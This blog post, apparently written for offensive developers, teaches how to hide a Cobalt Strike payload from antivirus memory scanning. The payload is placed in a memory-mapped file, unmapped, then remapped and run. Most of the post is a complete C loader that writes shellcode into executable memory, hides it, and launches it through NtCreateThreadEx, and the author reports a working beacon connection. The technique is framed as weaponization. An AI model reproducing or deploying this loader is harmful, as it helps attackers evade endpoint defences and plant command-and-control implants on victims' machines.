Hide Your Payload with Mapping File CreateFileMapping

Hi Malware Developer

As I mention in the previous post that offensive developer has no limit on creativity to develop the malware especially techniques to baypass protection.

Today, I would like to share the research that has been done by Frank Block & Ralph Palutke where we are going to hide our malicious payload into memory mapped file. The simple idea of this is to remove safely the payload from the memory so that AV will not find the payload when it does the memory scanning, The malware only make the payload ready in the memory when the time to execute come.

Mapped Memory

A memory-mapped file contains the contents of a file in virtual memory. This mapping between a file and memory space enables an application, including multiple processes, to modify the file by reading and writing directly to the memory. https://learn.microsoft.com/en-us/dotnet/standard/io/memory-mapped-files

What is the purpose ?

Memory-mapped files can be shared across multiple processes. Processes can map to the same memory-mapped file by using a common name that is assigned by the process that created the file

Let’s Weaponize

I will create a 32 bit stager payload from CobaltStrike with the following steps

Based on the above steps, I will create C code payload that you can copy paste into your C code. The code below has been truncated

Copy the payload into your C code. Below is the full C code where my cobaltstrike payload has been truncated.

Creating Mapped Memory

We create a memory space with the below code as a mapped file memory zone with the memory protection RWX

lphMap = CreateFileMapping(INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE, 0, memsize, NULL);

memAddress = (LPBYTE)MapViewOfFile(lphMap, FILE_MAP_ALL_ACCESS | FILE_MAP_EXECUTE, 0, 0, 0);

Writting Payload into Mapped Memory

RtlMoveMemory(memAddress, shellcode, shellcode_size);

Hiding or Unmapping from the memory

We remove the the memory allocated for the payload from the memory so that AV will not be able to detect when it does the memory scanning

UnmapViewOfFile(memAddress);

Reload the payload back to the memory

Once we want to run the payload, We can reload the payload back to the memory by executing the below code

memAddress = (LPBYTE)MapViewOfFile(lphMap, FILE_MAP_ALL_ACCESS | FILE_MAP_EXECUTE, 0, 0, 0);

Full Code Impelementation

#include "stdafx.h"
#include "windows.h"
#include "iostream"
#include <wchar.h>
#include <stdio.h>
#include <tlhelp32.h>
#include <winternl.h>

using namespace std;

typedef NTSTATUS(WINAPI* pNtCreateThreadEx)(
	OUT PHANDLE hThread,
	IN ACCESS_MASK DesiredAccess,
	IN LPVOID ObjectAttributes,
	IN HANDLE ProcessHandle,
	IN LPTHREAD_START_ROUTINE lpStartAddress,
	IN LPVOID lpParameter,
	IN BOOL CreateSuspended,
	IN DWORD StackZeroBits,
	IN DWORD SizeOfStackCommit,
	IN DWORD SizeOfStackReserve,
	OUT LPVOID lpBytesBuffer
	);

int sysError() {

	WCHAR sysMsg[256] = { NULL };

	FormatMessage(FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS,NULL,GetLastError(),MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),sysMsg,256,NULL);
	wcout << "  FAILED WITH ERROR CODE: " << sysMsg << endl;
	return ERROR_CANCELLED;
}

int main(int argc, wchar_t** argv)
{
	HANDLE hProcess = NULL;
	LPVOID memAddress = NULL;
	HANDLE threadID = NULL;
	int memsize = 0x2000;
	LPVOID mapView = NULL;
	unsigned char shellcode[] = "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x5................";
	HANDLE lphMap = NULL;
	lphMap = INVALID_HANDLE_VALUE;

	hProcess = GetCurrentProcess();

	wprintf(L"\nCreating file mapping...\n");
	lphMap = CreateFileMapping(INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE, 0, memsize, NULL);

	wprintf(L"\nFile mapping created.\n");
	memAddress = (LPBYTE)MapViewOfFile(lphMap, FILE_MAP_ALL_ACCESS | FILE_MAP_EXECUTE, 0, 0, 0);

	wprintf(L"\nView created at address %p.\n", memAddress);

	int shellcode_size = sizeof(shellcode);

	//Copying the payload into the mapped address
	RtlMoveMemory(memAddress, shellcode, shellcode_size);
	wprintf(L"\nCobaltStrike Payload has been Written %i bytes at address %p.\n", shellcode_size, memAddress);

	wcout << "Press Enter to hide the payload from memory" << endl;
	getchar();

	UnmapViewOfFile(memAddress);
	wcout << "View Memory has been Unmapped, The memory address status is Free, AV Scanning avoided" << endl;
	wcout << "Press Enter to remapped the payload into memory" << endl;
	getchar();

	//Remapping the payload back into memory
	memAddress = (LPBYTE)MapViewOfFile(lphMap, FILE_MAP_ALL_ACCESS | FILE_MAP_EXECUTE, 0, 0, 0);

	wprintf(L"\nPayload has been remapped at address %p.\n", memAddress);
	wcout << "Press enter to run the CobaltStrike payload" << endl;
	getchar();

	HMODULE hNtdll;
	pNtCreateThreadEx NtCreateThreadEx = NULL;
	hNtdll = GetModuleHandle(_T("ntdll.dll"));
	// Get the address NtCreateThreadEx
	NtCreateThreadEx = (pNtCreateThreadEx)GetProcAddress(hNtdll, "NtCreateThreadEx");

	int status = 0;
	wcout << "Creating Remote Thread to Host Payload" << endl;
	status = NtCreateThreadEx(&threadID, GENERIC_ALL, NULL, hProcess, (LPTHREAD_START_ROUTINE)memAddress, memAddress, FALSE, NULL, NULL, NULL, NULL);
	if (status > 0) {
		wcout << "Remote Thread running CobaltStrike Payload has been successfully created :)" << endl;
	}

	WaitForSingleObject(threadID, INFINITE);
	CloseHandle(threadID);

	UnmapViewOfFile(memAddress);

	CloseHandle(lphMap);
	CloseHandle(threadID);
	CloseHandle(hProcess);

	return ERROR_SUCCESS;
}

Beacon Connection is Established

Remote thread is created and beacon connection is established

Below is a fully functional Cobalt beacon.

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s